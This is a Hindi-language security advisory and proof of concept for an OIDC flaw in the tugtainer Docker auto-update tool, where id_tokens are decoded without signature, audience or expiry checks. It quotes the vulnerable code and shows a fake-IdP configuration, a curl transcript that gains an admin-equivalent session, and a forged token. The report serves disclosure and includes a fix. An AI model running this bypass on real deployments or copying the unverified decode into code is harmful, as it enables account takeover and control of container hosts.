
PoC — Tugtainer में हस्ताक्षर/ऑडियंस/समाप्ति जाँच के बिना OIDC id_token स्वीकार किया गया (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1)।
CVE स्थिति: अनुरोधित, असाइनमेंट लंबित। यह निष्कर्ष GHSA-crjc-6vc7-xrfh के रूप में प्रकाशित किया गया है। CVE असाइनमेंट पर इस रिपॉजिटरी का नाम बदलकर
CVE-YYYY-NNNNN-tugtainer-PoCकर दिया जाएगा और इस बैनर को CVE लिंक से बदल दिया जाएगा।
| शोधकर्ता | Dostxodjayev Abdullox (@squeeze440) |
| सलाहकार | GHSA-crjc-6vc7-xrfh |
| CVSS 3.1 | 8.1 (उच्च) |
| कमजोरी | CWE-347 |
Quenary/tugtainer (कमिट 3138226) में backend/modules/auth/providers/auth_oidc_provider.py में OIDC प्रमाणीकरण प्रदाता में क्रिप्टोग्राफिक हस्ताक्षर का अनुचित सत्यापन, एक हमलावर को जो tugtainer बैकएंड और कॉन्फ़िगर किए गए OIDC प्रदाता के बीच टोकन-एक्सचेंज प्रतिक्रिया को नियंत्रित या इंटरसेप्ट करने की स्थिति में है (उदाहरण के लिए उस पथ पर एक नेटवर्क MITM स्थिति, एक समझौता/दुर्भावनापूर्ण पहचान प्रदाता, या DNS/TLS-टर्मिनेशन समझौता), को मनमाना id_token जाली बनाने और GET /api/auth/oidc/callback के माध्यम से किसी भी पहचान के लिए पूरी तरह से प्रमाणित, एडमिन-समकक्ष tugtainer सत्र प्राप्त करने की अनुमति देता है।
Quenary/tugtainer — वेब UI, एजेंट/बैकएंड आर्किटेक्चर के साथ स्व-होस्टेड Docker कंटेनर ऑटो-अपडेट टूल।
कमिट 31382268bf16df32f33316fe4d601ad1635871d4 (रिपो डिफ़ॉल्ट ब्रांच, 2026-08-05 को क्लोन किया गया)।
8.1 (उच्च) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AC:H (AC:L नहीं): शोषण एक साधारण अप्रमाणित नेटवर्क अनुरोध नहीं है। इसके लिए हमलावर को यह नियंत्रित करने की आवश्यकता होती है कि सर्वर-टू-सर्वर कोड एक्सचेंज के दौरान टोकन एंडपॉइंट बैकएंड को क्या लौटाता है — वास्तविक रूप से tugtainer बैकएंड और वास्तविक IdP के बीच एक MITM स्थिति, या एक समझौता/दुर्भावनापूर्ण IdP जिसे बैकएंड विश्वास करने के लिए कॉन्फ़िगर किया गया है। यह एक वास्तविक, गैर-तुच्छ पूर्व शर्त है, इसलिए AC:L के बजाय AC:H का उपयोग किया गया है।UI:N: एक बार हमलावर के पास वह नेटवर्क स्थिति हो जाने पर, किसी पीड़ित की बातचीत की आवश्यकता नहीं होती — हमलावर पूरे लॉगिन प्रवाह को स्वयं चला सकता है (नीचे PoC में पुष्टि की गई, curl के साथ एंड-टू-एंड किया गया)।C:H/I:H/A:H: परिणामी सत्र एक पूर्ण, अप्रतिबंधित tugtainer सत्र है (OIDC पहचान के लिए कोई RBAC/allowlist मौजूद नहीं है — विवरण देखें) जिसमें प्रत्येक कंटेनर/होस्ट प्रबंधन एंडपॉइंट तक पहुंच है: सभी Docker होस्ट और कंटेनर को सूचीबद्ध/पढ़ना, कंटेनर शुरू/बंद/किल/हटाना, इमेज पुल करना, और (यदि किसी होस्ट पर ALLOW_HOOKS/ALLOW_EXEC सक्षम हैं) कंटेनर के अंदर कमांड चलाना।S:U: प्रभाव tugtainer की अपनी प्राधिकरण सीमा के भीतर रहता है (हमलावर एक प्रमाणित tugtainer उपयोगकर्ता बन जाता है); इसे एक अलग-अलग अधिकृत घटक में स्कोप परिवर्तन के रूप में नहीं माना जाता है।backend/modules/auth/providers/auth_oidc_provider.py, विधि _exchange_oidc_code (पंक्तियाँ 267–331), विशेष रूप से पंक्तियाँ 299–306:
# Verify and decode ID token if present
if "id_token" in token:
# For now, we'll decode without verification (not recommended for production)
id_token_claims = jwt.get_unverified_claims(token["id_token"])
return {
"access_token": token.get("access_token"),
"id_token_claims": id_token_claims,
}
jwt.get_unverified_claims() (python-jose) JWT पेलोड को हस्ताक्षर, exp/iat, या aud/iss की जाँच किए बिना base64-डिकोड करता है — जो OpenID Connect Core 1.0 §3.1.3.7 के अनुसार ID Token पर भरोसा करने से पहले एक RP को जो करना चाहिए, उसका ठीक विपरीत है। डेवलपर की अपनी टिप्पणी ("not recommended for production") पुष्टि करती है कि यह एक ज्ञात शॉर्टकट था, न कि एक जानबूझकर किया गया डिज़ाइन विकल्प।
परिणामी क्लेम्स बिना किसी अतिरिक्त जाँच के सीधे सत्र निर्माण में प्रवाहित होते हैं:
callback() (पंक्ति 137) _exchange_oidc_code() को कॉल करता है और फिर _create_oidc_user_session() (पंक्ति 333), जो email/sub/preferred_username (पंक्तियाँ 341–345) को सीधे असत्यापित क्लेम्स से निकालता है और _set_cookies() के माध्यम से वास्तविक, हस्ताक्षरित tugtainer access_token/refresh_token JWT कुकीज़ (HttpOnly, SameSite=strict) बनाता है।backend/ में allowlist/allowed-email पैटर्न के लिए grep कुछ नहीं लौटाता) — (असत्यापित) क्लेम्स में जो भी sub/email है वह नए सत्र की पहचान बन जाता है, जिसमें किसी भी अन्य लॉग-इन उपयोगकर्ता के समान पहुंच होती है (tugtainer में एकल सपाट विश्वास स्तर है, प्रति-उपयोगकर्ता RBAC नहीं)।aud और iss की कभी जाँच नहीं की जाती, उसी IdP के पूरी तरह से असंबंधित क्लाइंट के लिए जारी किया गया ID Token — या, जैसा कि नीचे प्रदर्शित किया गया है, कचरा/बेमेल हस्ताक्षर और पहले से समाप्त exp वाला — वैध की तरह ही स्वीकार कर लिया जाता है।यह केवल तब पहुंच योग्य है जब OIDC_ENABLED=true हो (एक एडमिन ऑप्ट-इन), इसलिए यह डिफ़ॉल्ट/केवल-पासवर्ड परिनियोजन को प्रभावित नहीं करता है।
इस कमिट से बनाए गए वास्तविक एप्लिकेशन के विरुद्ध गतिशील रूप से सत्यापित (docker build -f Dockerfile.app), सादे docker run के माध्यम से चलाया गया (प्रकाशित इमेज नहीं) इसके साथ:
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback
एक न्यूनतम नकली OIDC प्रदाता (evidence/fake_idp.py, इस एंगेजमेंट फ़ोल्डर में रखा गया) एक वैध डिस्कवरी दस्तावेज़ प्रदान करता है, और POST /token पर हमेशा एक id_token लौटाता है जो जानबूझकर हर उस तरीके से अमान्य है जिसकी जाँच एक RP को करनी चाहिए:
aud = "totally-wrong-client-id-not-tugtainers" (OIDC_CLIENT_ID से मेल नहीं खाता)exp = 1 घंटा पहले (पहले से समाप्त)चरण (वास्तविक कमांड, वास्तविक आउटपुट, दोनों कंटेनर स्थानीय रूप से चलाए गए):
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax
$ curl -s -i -b cookies.txt -c cookies.txt \
"http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict
डिकोड किया गया access_token पेलोड (इस "उपयोगकर्ता" के लिए tugtainer के अपने JWT साइनर द्वारा बनाया गया):
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
"user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
"email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
"exp":1785918530,"iat":1785914930},"exp":1785922430}
सत्र फिर संरक्षित एंडपॉइंट के विरुद्ध लाइव पुष्टि की गई:
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK
$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]
$ curl -s -i "http://localhost:19412/api/hosts/list" # no cookies, for comparison
HTTP/1.1 401 Unauthorized
नकली IdP का अपना लॉग उस सटीक जाली टोकन की पुष्टि करता है जो उसने वापस दिया:
[fake-idp] issuing FORGED id_token (bad sig, wrong aud, expired):
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpc3MiOiAiaHR0cDovL3R1Z3RhaW5lci1hdWRpdC1pZHA6OTk5OSIsICJzdWIiOiAiYXR0YWNrZXJAZXZpbC5leGFtcGxlIiwgImVtYWlsIjogImF0dGFja2VyQGV2aWwuZXhhbXBsZSIsICJhdWQiOiAidG90YWxseS13cm9uZy1jbGllbnQtaWQtbm90LXR1Z3RhaW5lcnMiLCAiZXhwIjogMTc4NTkxODUzMCwgImlhdCI6IDE3ODU5MTQ5MzB9.VEhJU19JU19OT1RfQV9WQUxJRF9TSUdOQVRVUkVfSlVTVF9SQU5ET01fQllURVNfMDAwMDAw
PoC हेल्पर: evidence/fake_idp.py (इस रिपोर्ट के साथ रखा गया)।
कोई स्क्रीनशॉट शामिल नहीं हैं — यह एक सर्वर-टू-सर्वर API बायपास है जिसमें कैप्चर करने के लिए कोई ब्राउज़र/UI घटक नहीं है; ऊपर दिया गया curl ट्रांसक्रिप्ट वास्तविक, असंशोधित कमांड/प्रतिक्रिया साक्ष्य है।
कोई भी हमलावर जो tugtainer बैकएंड द्वारा किए गए OIDC टोकन-एक्सचेंज कॉल की प्रतिक्रिया को प्रभावित करने में सक्षम है (उस नेटवर्क पथ पर MITM, एक दुर्भावनापूर्ण/समझौता किया गया IdP, या बैकएंड और IdP के बीच DNS/TLS-टर्मिनेशन समझौता) एक मनमानी पहचान के रूप में पूरी तरह से वैध, अप्रतिबंधित tugtainer सत्र बना सकता है — किसी वास्तविक उपयोगकर्ता के क्रेडेंशियल जानने की आवश्यकता के बिना और किसी वैध उपयोगकर्ता से किसी बातचीत के बिना। चूंकि tugtainer में प्रति-उपयोगकर्ता RBAC नहीं है, उस सत्र में पूर्ण एप्लिकेशन पहुंच है: सभी पंजीकृत Docker होस्ट और कंटेनर की गणना करना, कंटेनर शुरू/बंद/किल/हटाना, इमेज पुल/टैग करना, और (जहाँ ALLOW_HOOKS/एजेंट ALLOW_EXEC सक्षम हैं) कंटेनर के अंदर कमांड निष्पादित करना।
aud/iss/exp जाँच गायब)_exchange_oidc_code में, jwt.get_unverified_claims(token["id_token"]) को एक सत्यापनकारी डिकोड से बदलें: डिस्कवरी दस्तावेज़ से IdP का jwks_uri प्राप्त करें, kid द्वारा साइनिंग कुंजी को हल करें, और jwt.decode(id_token, key=jwk, algorithms=[...], audience=Config.OIDC_CLIENT_ID, issuer=discovery_doc["issuer"]) को कॉल करें (python-jose यह सब समर्थन करता है)। यह OIDC Core विनिर्देश के अनुसार हस्ताक्षर, exp/iat/nbf, aud, और iss को लागू करता है। उन परिनियोजनों के लिए स्वीकृत email/sub मानों की एक वैकल्पिक allowlist जोड़ने पर भी विचार करें जो अन्य एप्लिकेशनों के साथ एक IdP साझा करते हैं।
Dostxodjayev Abdullox (GitHub: squeeze440)
Quenary/tugtainer पर GitHub Security Advisory / Private Vulnerability Reporting (PVR सक्षम की पुष्टि की गई)।